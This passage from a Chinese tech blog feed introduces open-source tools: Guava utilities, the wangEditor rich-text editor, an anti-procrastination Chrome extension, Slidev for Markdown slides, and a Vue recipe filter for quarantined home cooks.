<content type="html"><![CDATA[<p>大家好,我是开源小妹。</p><p>今天给大家分享一个非常好用的工具类库:<strong>guava</strong>。</p><h2 id="介绍"><a href="#介绍" class="headerlink" title="介绍"></a>介绍</h2><p>Guava项目包含我们在基于Java的项目中依赖的几个Google核心库:集合、缓存、原语支持、并发库、公共注释、字符串处理、I/O等等。这些工具中的每一个确实每天都会被谷歌用户在生产服务中使用。看起来很强大,接下来跟着小妹一块来看看吧。</p><h2 id="快速入门"><a href="#快速入门" class="headerlink" title="快速入门"></a>快速入门</h2><p><strong>加入依赖</strong></p><pre class=" language-xml"><code class="language-xml"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>dependency</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>groupId</span><span class="token punctuation">></span></span>com.google.guava<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>groupId</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>artifactId</span><span class="token punctuation">></span></span>guava<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>artifactId</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>version</span><span class="token punctuation">></span></span>29.0-jre<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>version</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>dependency</span><span class="token punctuation">></span></span></code></pre><p><strong>对象公共方法</strong></p><pre class=" language-java"><code class="language-java"> <span class="token keyword">public</span> <span class="token keyword">static</span> <span class="token keyword">void</span> <span class="token function">baseMehod</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>#<span class="token number">123</span><span class="token punctuation">;</span> System<span class="token punctuation">.</span>out<span class="token punctuation">.</span><span class="token function">println</span><span class="token punctuation">(</span>Objects<span class="token punctuation">.</span><span class="token function">equal</span><span class="token punctuation">(</span><span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token string">"a"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> System<span class="token punctuation">.</span>out<span class="token punctuation">.</span><span class="token function">println</span><span class="token punctuation">(</span>Objects<span class="token punctuation">.</span><span class="token function">hashCode</span><span class="token punctuation">(</span><span class="token string">"a"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token operator">&amp;</span>#<span class="token number">125</span><span class="token punctuation">;</span></code></pre><p>运行效果如下:<br><img src="https://files.mdnice.com/user/21486/e0640d70-6057-467c-aeb2-f11447a53dd6.png"><br><strong>基本类型处理</strong></p><pre class=" language-java"><code class="language-java"><span class="token keyword">public</span> <span class="token keyword">static</span> <span class="token keyword">void</span> <span class="token function">primitives</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>#<span class="token number">123</span><span class="token punctuation">;</span> List<span class="token operator">&lt;</span>Integer<span class="token operator">></span> list <span class="token operator">=</span> Ints<span class="token punctuation">.</span><span class="token function">asList</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">)</span><span class="token punctuation">;</span> List<span class="token operator">&lt;</span>Character<span class="token operator">></span> characters <span class="token operator">=</span> Chars<span class="token punctuation">.</span><span class="token function">asList</span><span class="token punctuation">(</span><span class="token string">'1'</span><span class="token punctuation">,</span> <span class="token string">'2'</span><span class="token punctuation">,</span> <span class="token string">'3'</span><span class="token punctuation">)</span><span class="token punctuation">;</span> System<span class="token punctuation">.</span>out<span class="token punctuation">.</span><span class="token function">println</span><span class="token punctuation">(</span>list<span class="token punctuation">)</span><span class="token punctuation">;</span> System<span class="token punctuation">.</span>out<span class="token punctuation">.</span><span class="token function">println</span><span class="token punctuation">(</span>characters<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token operator">&amp;</span>#<span class="token number">125</span><span class="token punctuation">;</span></code></pre><p>运行效果如下:<br><img src="https://files.mdnice.com/user/21486/b597fc54-95d9-4589-b6ac-5e3cb262e622.png"></p><p><strong>处理字符串</strong></p><pre class=" language-java"><code class="language-java"><span class="token keyword">public</span> <span class="token keyword">static</span> <span class="token keyword">void</span> <span class="token function">dealString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>#<span class="token number">123</span><span class="token punctuation">;</span> String str <span class="token operator">=</span> <span class="token string">"zhangsan,lisi"</span><span class="token punctuation">;</span> <span class="token comment" spellcheck="true">//判断是否为空</span> System<span class="token punctuation">.</span>out<span class="token punctuation">.</span><span class="token function">println</span><span class="token punctuation">(</span>Strings<span class="token punctuation">.</span><span class="token function">isNullOrEmpty</span><span class="token punctuation">(</span>str<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment" spellcheck="true">//字符串分割</span> List<span class="token operator">&lt;</span>String<span class="token operator">></span> list <span class="token operator">=</span> Splitter<span class="token punctuation">.</span><span class="token function">on</span><span class="token punctuation">(</span><span class="token string">","</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">splitToList</span><span class="token punctuation">(</span>str<span class="token punctuation">)</span><span class="token punctuation">;</span> System<span class="token punctuation">.</span>out<span class="token punctuation">.</span><span class="token function">println</span><span class="token punctuation">(</span>list<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token operator">&amp;</span>#<span class="token number">125</span><span class="token punctuation">;</span></code></pre><p>运行效果如下:<br><img src="https://files.mdnice.com/user/21486/4d32b21a-6077-4df0-be2c-a548fdf27ab9.png"></p><p><strong>处理集合</strong></p><pre class=" language-java"><code class="language-java"><span class="token keyword">public</span> <span class="token keyword">static</span> <span class="token keyword">void</span> <span class="token function">dealLists</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>#<span class="token number">123</span><span class="token punctuation">;</span> ArrayList<span class="token operator">&lt;</span>String<span class="token operator">></span> strings <span class="token operator">=</span> Lists<span class="token punctuation">.</span><span class="token function">newArrayList</span><span class="token punctuation">(</span><span class="token string">"zhangsan"</span><span class="token punctuation">,</span> <span class="token string">"lisi"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> System<span class="token punctuation">.</span>out<span class="token punctuation">.</span><span class="token function">println</span><span class="token punctuation">(</span>strings<span class="token punctuation">)</span><span class="token punctuation">;</span> List<span class="token operator">&lt;</span>String<span class="token operator">></span> reverse <span class="token operator">=</span> Lists<span class="token punctuation">.</span><span class="token function">reverse</span><span class="token punctuation">(</span>strings<span class="token punctuation">)</span><span class="token punctuation">;</span> System<span class="token punctuation">.</span>out<span class="token punctuation">.</span><span class="token function">println</span><span class="token punctuation">(</span>reverse<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token operator">&amp;</span>#<span class="token number">125</span><span class="token punctuation">;</span></code></pre><p>运行效果如下:<br><img src="https://files.mdnice.com/user/21486/cac84b9e-f304-4a7a-ba72-039e6ab640d5.png"><br>这里小妹只是简单介绍了 guava 的几个功能的使用,它还有其他的丰富的功能 例如 本地缓存的处理,我们日常本地缓存的话,可以使用 map 或者 list等 但是这些作为缓存则需要我们去处理缓存什么时候过期 数据更新等一系列操作,这些 guava 中的缓存都帮我们做了,简单方法如下:</p><pre class=" language-java"><code class="language-java">LoadingCache<span class="token operator">&lt;</span>String<span class="token punctuation">,</span> String<span class="token operator">></span> graphs <span class="token operator">=</span> CacheBuilder<span class="token punctuation">.</span><span class="token function">newBuilder</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">maximumSize</span><span class="token punctuation">(</span><span class="token number">1000</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">expireAfterWrite</span><span class="token punctuation">(</span><span class="token number">10</span><span class="token punctuation">,</span> TimeUnit<span class="token punctuation">.</span>MINUTES<span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">build</span><span class="token punctuation">(</span> <span class="token keyword">new</span> <span class="token class-name">CacheLoader</span><span class="token operator">&lt;</span>String<span class="token punctuation">,</span> String<span class="token operator">></span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">&amp;</span>#<span class="token number">123</span><span class="token punctuation">;</span> <span class="token annotation punctuation">@Override</span> <span class="token keyword">public</span> String <span class="token function">load</span><span class="token punctuation">(</span>String key<span class="token punctuation">)</span> <span class="token keyword">throws</span> AnyException <span class="token operator">&amp;</span>#<span class="token number">123</span><span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token function">dealData</span><span class="token punctuation">(</span>key<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token operator">&amp;</span>#<span class="token number">125</span><span class="token punctuation">;</span> <span class="token operator">&amp;</span>#<span class="token number">125</span><span class="token punctuation">;</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre><h2 id="小妹总结"><a href="#小妹总结" class="headerlink" title="小妹总结"></a>小妹总结</h2><p>今天小妹就介绍到这里,guava 的功能很强、很丰富 可以省去重复造轮子的动作,大家快去试一试吧。</p>]]></content>
<tags>
<tag> 老胡 </tag>
</tags>
</entry>
<entry>
<title>还不知道用什么富文本编辑器?快来试试这款!</title>
<link href="/blog/2022/04/30/huan-bu-zhi-dao-yong-shi-me-fu-wen-ben-bian-ji-qi-kuai-lai-shi-shi-zhe-kuan/"/>
<url>/blog/2022/04/30/huan-bu-zhi-dao-yong-shi-me-fu-wen-ben-bian-ji-qi-kuai-lai-shi-shi-zhe-kuan/</url>
<content type="html"><![CDATA[<p>大家好,我是开源大叔。<br>现在用的什么富文本编辑器呢?不如试一试这款!!<br>今天给大家分享一个非常好用的富文本编辑器项目:<strong>wangEditor</strong>。</p><h2 id="介绍"><a href="#介绍" class="headerlink" title="介绍"></a>介绍</h2><p>我们在做后台管理项目的时候经常遇到需要富文本编辑器的场景,大叔也会死无意间发现了 <strong>wangEditor</strong>,它简洁易用,功能强大,接入比较方便,不仅能在jQuery中使用,还可以在Vue、React中时候用。下面跟着大叔一块来看看怎么使用吧。</p><h2 id="快速入门"><a href="#快速入门" class="headerlink" title="快速入门"></a>快速入门</h2><p><strong>引入 js &amp; 样式</strong></p><pre class=" language-html"><code class="language-html"> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>link</span> <span class="token attr-name">href</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>https://cdn.bootcdn.net/ajax/libs/normalize/8.0.1/normalize.min.css<span class="token punctuation">"</span></span> <span class="token attr-name">rel</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>stylesheet<span class="token punctuation">"</span></span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>link</span> <span class="token attr-name">href</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>https://cdn.jsdelivr.net/npm/@wangeditor/editor@latest/dist/css/style.css<span class="token punctuation">"</span></span> <span class="token attr-name">rel</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>stylesheet<span class="token punctuation">"</span></span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>link</span> <span class="token attr-name">href</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>./css/layout.css<span class="token punctuation">"</span></span> <span class="token attr-name">rel</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>stylesheet<span class="token punctuation">"</span></span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>./js/custom-elem.js<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token script language-javascript"></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>https://cdn.jsdelivr.net/npm/@wangeditor/editor@latest/dist/index.min.js<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token script language-javascript"></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span></code></pre><p><strong>初始化使用</strong></p><pre class=" language-html"><code class="language-html"> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">class</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>page-container<span class="token punctuation">"</span></span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">class</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>page-right<span class="token punctuation">"</span></span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>editor-toolbar<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>editor-text-area<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span><span class="token punctuation">></span></span><span class="token script language-javascript"> <span class="token keyword">const</span> E <span class="token operator">=</span> window<span class="token punctuation">.</span>wangEditor <span class="token keyword">let</span> html <span class="token operator">=</span> <span class="token template-string"><span class="token string">``</span></span> window<span class="token punctuation">.</span>editor <span class="token operator">=</span> E<span class="token punctuation">.</span><span class="token function">createEditor</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>#<span class="token number">123</span><span class="token punctuation">;</span> selector<span class="token punctuation">:</span> <span class="token string">'#editor-text-area'</span><span class="token punctuation">,</span> html<span class="token punctuation">,</span> mode<span class="token punctuation">:</span> <span class="token string">'simple'</span><span class="token punctuation">,</span> config<span class="token punctuation">:</span> <span class="token operator">&amp;</span>#<span class="token number">123</span><span class="token punctuation">;</span> placeholder<span class="token punctuation">:</span> <span class="token string">'Type here...'</span><span class="token punctuation">,</span> MENU_CONF<span class="token punctuation">:</span> <span class="token operator">&amp;</span>#<span class="token number">123</span><span class="token punctuation">;</span> uploadImage<span class="token punctuation">:</span> <span class="token operator">&amp;</span>#<span class="token number">123</span><span class="token punctuation">;</span> fieldName<span class="token punctuation">:</span> <span class="token string">'your-fileName'</span><span class="token punctuation">,</span> base64LimitSize<span class="token punctuation">:</span> <span class="token number">10</span> <span class="token operator">*</span> <span class="token number">1024</span> <span class="token operator">*</span> <span class="token number">1024</span> <span class="token comment" spellcheck="true">// 10M 以下插入 base64</span> <span class="token operator">&amp;</span>#<span class="token number">125</span><span class="token punctuation">;</span> <span class="token operator">&amp;</span>#<span class="token number">125</span><span class="token punctuation">;</span><span class="token punctuation">,</span> <span class="token function">onChange</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">&amp;</span>#<span class="token number">123</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>editor<span class="token punctuation">.</span><span class="token function">getHtml</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">&amp;</span>#<span class="token number">125</span><span class="token punctuation">;</span> <span class="token operator">&amp;</span>#<span class="token number">125</span><span class="token punctuation">;</span> <span class="token operator">&amp;</span>#<span class="token number">125</span><span class="token punctuation">;</span><span class="token punctuation">)</span> window<span class="token punctuation">.</span>toolbar <span class="token operator">=</span> E<span class="token punctuation">.</span><span class="token function">createToolbar</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>#<span class="token number">123</span><span class="token punctuation">;</span> editor<span class="token punctuation">,</span> mode<span class="token punctuation">:</span> <span class="token string">'simple'</span><span class="token punctuation">,</span> selector<span class="token punctuation">:</span> <span class="token string">'#editor-toolbar'</span><span class="token punctuation">,</span> config<span class="token punctuation">:</span> <span class="token operator">&amp;</span>#<span class="token number">123</span><span class="token punctuation">;</span><span class="token operator">&amp;</span>#<span class="token number">125</span><span class="token punctuation">;</span> <span class="token operator">&amp;</span>#<span class="token number">125</span><span class="token punctuation">;</span><span class="token punctuation">)</span> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span></code></pre><p><strong>启动运行</strong></p><p><img src="https://files.mdnice.com/user/21486/b58dff26-2507-4a43-abda-3d6c9f8d3932.png"></p><p><img src="https://files.mdnice.com/user/21486/e3b7e94a-e7be-45b9-8e73-03fe6ed83980.png"><br>运行效果如上图,并且可以通过 getHtml() 方法获取到编辑器中的源码信息,如果只想获取内容信息呢,则可以使用 getText(),效果如下:</p><p><img src="https://files.mdnice.com/user/21486/6033849f-44f6-4528-b73b-018f088c7301.png"><br>上面的例子我们使用的是简洁模式(simple),除了 simple 模式还有 default 模式,效果如下:<br><img src="https://files.mdnice.com/user/21486/21c1353a-e71d-4c2b-bcda-b14ee296e286.png"><br><strong>设置样式</strong><br>编辑器的宽度是自适应的,默认为 100%,如果要调整样式的话,直接在 div 上进行设置就可以了如下(设置 border 是为了看到设置高度的的效果):</p><pre class=" language-html"><code class="language-html"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span><span class="token style-attr language-css"><span class="token attr-name"> <span class="token attr-name">style</span></span><span class="token punctuation">="</span><span class="token attr-value"><span class="token property">border</span><span class="token punctuation">:</span> <span class="token number">1</span>px solid red<span class="token punctuation">;</span></span><span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>editor-toolbar<span class="token punctuation">"</span></span> <span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>editor-text-area<span class="token punctuation">"</span></span><span class="token style-attr language-css"><span class="token attr-name"> <span class="token attr-name">style</span></span><span class="token punctuation">="</span><span class="token attr-value"><span class="token property">height</span><span class="token punctuation">:</span> <span class="token number">300</span>px</span><span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span></code></pre><p><img src="https://files.mdnice.com/user/21486/d1169746-1241-4219-aeba-a051a6d2ed0c.png"></p><h2 id="大叔总结"><a href="#大叔总结" class="headerlink" title="大叔总结"></a>大叔总结</h2><p>通过上面的介绍,是不是感觉 wangEditor 使用起来很简单呢,它除了大叔上面介绍的功能,还有其他很多设置和内置函数包括了设置工具栏、编辑器配置、内容高亮等,大家赶快去试一试吧。</p>]]></content>
<tags>
<tag> 老胡 </tag>
</tags>
</entry>
<entry>
<title>摸鱼虽好,但是瘾大伤身啊</title>
<link href="/blog/2022/04/26/mo-yu-sui-hao-dan-shi-yin-da-shang-shen-a/"/>
<url>/blog/2022/04/26/mo-yu-sui-hao-dan-shi-yin-da-shang-shen-a/</url>
<content type="html"><![CDATA[<p>大家好,我是摸太久鱼很受伤的开源小妹。</p><p>话说工作期间划划水摸摸鱼,劳逸结合,还是有助于身心健康滴。不过小摸怡情,大摸……就有些耽误事情了!说好的周五晚上要提交的代码,结果因为刷B站知乎刷的停不下来,等到回过神来时都要下班了。周五的晚上,加班是一件很痛苦的事情,哭哭。</p><p>所以摸鱼也要量力而行啊。之前也是分享了一些摸鱼项目,那么今天我就给大家分享一个反摸鱼项目:stop-mess-around。</p><h2 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h2><p>stop-mess-around 是一个开源的 Chrome 插件。这个插件可以在你访问指定网站时,文采飞扬的提示你不要摸鱼。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/20220510211650_cd503adc96337fc24f53fd754d80348e.jpg" alt="img"></p><p>如果你非摸不可的话,可以点击休息一下,选择要摸鱼的时间。这样在指定时间过后,他会再一次提醒你时间到了,该去学习或者工作了。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/20220426234050_6f3b616cfacc6d912af61293dc5ef9ca.png" alt="img"></p><h2 id="安装方式"><a href="#安装方式" class="headerlink" title="安装方式"></a>安装方式</h2><p>毕竟是 Chrome 插件,肯定是有两种方法安装了。如果有条件的话,可以去 Chrome 应用商店在线安装插件。当然,如果没有条件的话,可以到项目的 release 目录下下载插件离线安装。</p><h2 id="配置"><a href="#配置" class="headerlink" title="配置"></a>配置</h2><p>插件安装完毕后,首先需要配置你要监控的网站地址。作者已经很贴心的把常用的网站列举了出来(比如B站、知乎、淘宝、京东、微博等),可以一键导入。当然,你也可以手动新增其他不为人知的小网站。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/20220426234050_6bc171cd8927cf19d7108165e9ec2fe2.png" alt="img"></p><h2 id="主要功能"><a href="#主要功能" class="headerlink" title="主要功能"></a>主要功能</h2><p>除了一开始说的,访问网站时会提示你不要摸鱼。插件也会在你进行网上冲浪时,在右下角提示你的划水时间和倒计时。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/20220426234050_9d6d33fb45af87f9422ae53b01f883e5.png" alt="img"></p><p>还会统计你的摸鱼时间,以及让各个网站 battle 一下,看谁是你最爱的网站。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/20220426234050_7ce4d5838ae679cf95283d8b542d9dad.png" alt="img"></p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>这款反摸鱼插件,可以让你更有节制的进行摸鱼大业,进而在工作中劳逸结合,实现快乐工作的终极目标(快乐是指不仅要摸鱼时快乐,也要有按时完成工作避免加班的快乐)。如果你真的难以控制自己,那就试试用这个插件来辅助你吧~</p>]]></content>
<tags>
<tag> 白小白 </tag>
</tags>
</entry>
<entry>
<title>程序员用 Markdown 写 ppt,真是太绝了!</title>
<link href="/blog/2022/04/19/cheng-xu-yuan-yong-markdown-xie-ppt-zhen-shi-tai-jue-liao/"/>
<url>/blog/2022/04/19/cheng-xu-yuan-yong-markdown-xie-ppt-zhen-shi-tai-jue-liao/</url>
<content type="html"><![CDATA[<p>大家好,我是机灵可爱的开源小妹~~<br>上周老板找我说要给客户演示下我们最近开发的项目,说让我写个 ppt ? 身为程序员怎么能拒绝呢,于是乎刷起来 Github ,还真找到了个神器,用 Markdown 写 ppt 的开源项目- Slidev。</p><h2 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h2><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202204/202204192157945.png"><br>Slidev 是专门为开发者设计的工具,我们大多数开发人员都熟知 Markdown ,经常用它来写文章。通过 Slidev 我们可以直接用 Markdown 去写 ppt,最后还可以方便地导出成 pdf 或者直接导出成一个网页。</p><h2 id="使用"><a href="#使用" class="headerlink" title="使用"></a>使用</h2><h3 id="本地使用"><a href="#本地使用" class="headerlink" title="本地使用"></a>本地使用</h3><ol><li>安装 Node.js 环境</li><li>执行命令<pre><code>$ npm init slidev</code></pre>跟随命令行的提示,它将自动为你打开幻灯片<br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202204/202204192157094.png"><br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202204/202204192157789.png"></li></ol><h3 id="使用-Markdown-语法编写-ppt"><a href="#使用-Markdown-语法编写-ppt" class="headerlink" title="使用 Markdown 语法编写 ppt"></a>使用 Markdown 语法编写 ppt</h3><p>我们打开刚刚创建的项目 md 文件,可以看到里面还可以通过代码覆盖相应的样式。</p><pre><code># Welcome to SlidevPresentation slides for developers&lt;div class=&quot;pt-12&quot;&gt; &lt;span @click=&quot;$slidev.nav.next&quot; class=&quot;px-2 py-1 rounded cursor-pointer&quot; hover=&quot;bg-white bg-opacity-10&quot;&gt; Press Space for next page &lt;carbon:arrow-right class=&quot;inline&quot;/&gt; &lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;abs-br m-6 flex gap-2&quot;&gt; &lt;button @click=&quot;$slidev.nav.openInEditor()&quot; title=&quot;Open in Editor&quot; class=&quot;text-xl icon-btn opacity-50 !border-none !hover:text-white&quot;&gt; &lt;carbon:edit /&gt; &lt;/button&gt; &lt;a href=&quot;https://github.com/slidevjs/slidev&quot; target=&quot;_blank&quot; alt=&quot;GitHub&quot; class=&quot;text-xl icon-btn opacity-50 !border-none !hover:text-white&quot;&gt; &lt;carbon-logo-github /&gt; &lt;/a&gt;&lt;/div&gt;&lt;!--The last comment block of each slide will be treated as slide notes. It will be visible and editable in Presenter Mode along with the slide. [Read more in the docs](https://sli.dev/guide/syntax.html#notes)--&gt;---</code></pre><h3 id="主题"><a href="#主题" class="headerlink" title="主题"></a>主题</h3><p>我们可以直接套用社区提供的主题,只需要改下声明就可以立马切换相应的主题。<br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202204/202204192158415.png"></p><h2 id="小结"><a href="#小结" class="headerlink" title="小结"></a>小结</h2><p>这个工具支持动画、公式、演讲录制、静态部署等等,怎么样是不是很强大,只需要对前端开发略微了解就可以很轻松的上手,使用 Markdown 写 ppt 还是挺美的。快去公众号后台回复「小分队」获取项目地址吧。</p>]]></content>
<tags>
<tag> 奔跑的阿白 </tag>
</tags>
</entry>
<entry>
<title>简单可爱的隔离食用手册,你值得收藏!</title>
<link href="/blog/2022/04/17/jian-dan-ke-ai-de-ge-chi-shi-yong-shou-ce-ni-zhi-de-shou-cang/"/>
<url>/blog/2022/04/17/jian-dan-ke-ai-de-ge-chi-shi-yong-shou-ce-ni-zhi-de-shou-cang/</url>
<content type="html"><![CDATA[<p>大家好呀,今天的我是中华小当家开源小妹~🍗🍖🍤🍳</p><p>疫情期间,大家一定要注意防护呀。小妹也有朋友因为防控升级,不得不居家监测和居家隔离。外出好吃好喝的日子姑且要盼望一段时间了,眼下要解决的问题是:如何用手头简单的食材烹饪出健康美味的饭菜呢?小妹这就给大家推荐一个新鲜出炉的开源项目——隔离食用手册。</p><h2 id="隔离食用手册"><a href="#隔离食用手册" class="headerlink" title="隔离食用手册"></a>隔离食用手册</h2><p>隔离食用手册是一个非常简约可爱的开源项目,使用 Vue 进行开发。它本质上是个简单实用的菜谱。你可以在网站的页面上选择家里有的蔬菜、肉蛋、主食以及可用的厨具,便可以筛选出使用这些食材烹饪的美食菜谱。点击菜谱就可以跳转到 B 站上该美食 up 主的烹饪教学视频。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/20220420235430_3eabfe20eb06884faad8925470e8094a.png"></p><h3 id="实现原理"><a href="#实现原理" class="headerlink" title="实现原理"></a>实现原理</h3><p>筛选菜谱的逻辑很简单。首先项目会保存一份 csv 文档,存储了菜谱名、食材、菜谱链接、制作厨具等信息,如图:</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/20220421000641_60d44775e5f6a271ec26fa0b8150c21f.png" alt="image-20220420235407560"></p><p>项目初始化时会将这个文档里的信息加载到列表里。</p><p>之后,在点击不同类型的食材时,都会触发<code>toggleStuff</code>方法,让选中的食材参与到列表的过滤当中,主要是这两段逻辑:</p><pre class=" language-js"><code class="language-js"> <span class="token keyword">function</span> <span class="token function">toggleStuff</span><span class="token punctuation">(</span>name<span class="token punctuation">:</span> string<span class="token punctuation">)</span> <span class="token operator">&amp;</span>#<span class="token number">123</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>curStuff<span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>curStuff<span class="token punctuation">.</span>value<span class="token punctuation">.</span><span class="token function">has</span><span class="token punctuation">(</span>name<span class="token punctuation">)</span><span class="token punctuation">)</span> curStuff<span class="token punctuation">.</span>value<span class="token punctuation">.</span><span class="token keyword">delete</span><span class="token punctuation">(</span>name<span class="token punctuation">)</span> <span class="token keyword">else</span> curStuff<span class="token punctuation">.</span>value<span class="token punctuation">.</span><span class="token function">add</span><span class="token punctuation">(</span>name<span class="token punctuation">)</span> <span class="token operator">&amp;</span>#<span class="token number">125</span><span class="token punctuation">;</span></code></pre><pre class=" language-vue"><code class="language-vue">const displayedRecipe = computed(() => &#123; const recipes = recipe.value.filter((item) => &#123; if (strict.value) &#123; const stuffFlag = curStuff.value.every(stuff => item.stuff.includes(stuff)) const toolFlag = item.tools?.includes(curTool.value) return curTool.value ? stuffFlag && toolFlag : stuffFlag &#125; else &#123; const stuffFlag = curStuff.value.some(stuff => item.stuff.includes(stuff)) const toolFlag = item.tools?.includes(curTool.value) // 同时存在 厨具和材料,则同时判断 if (curTool.value && curStuff.value.length) &#123; return stuffFlag && toolFlag &#125; else 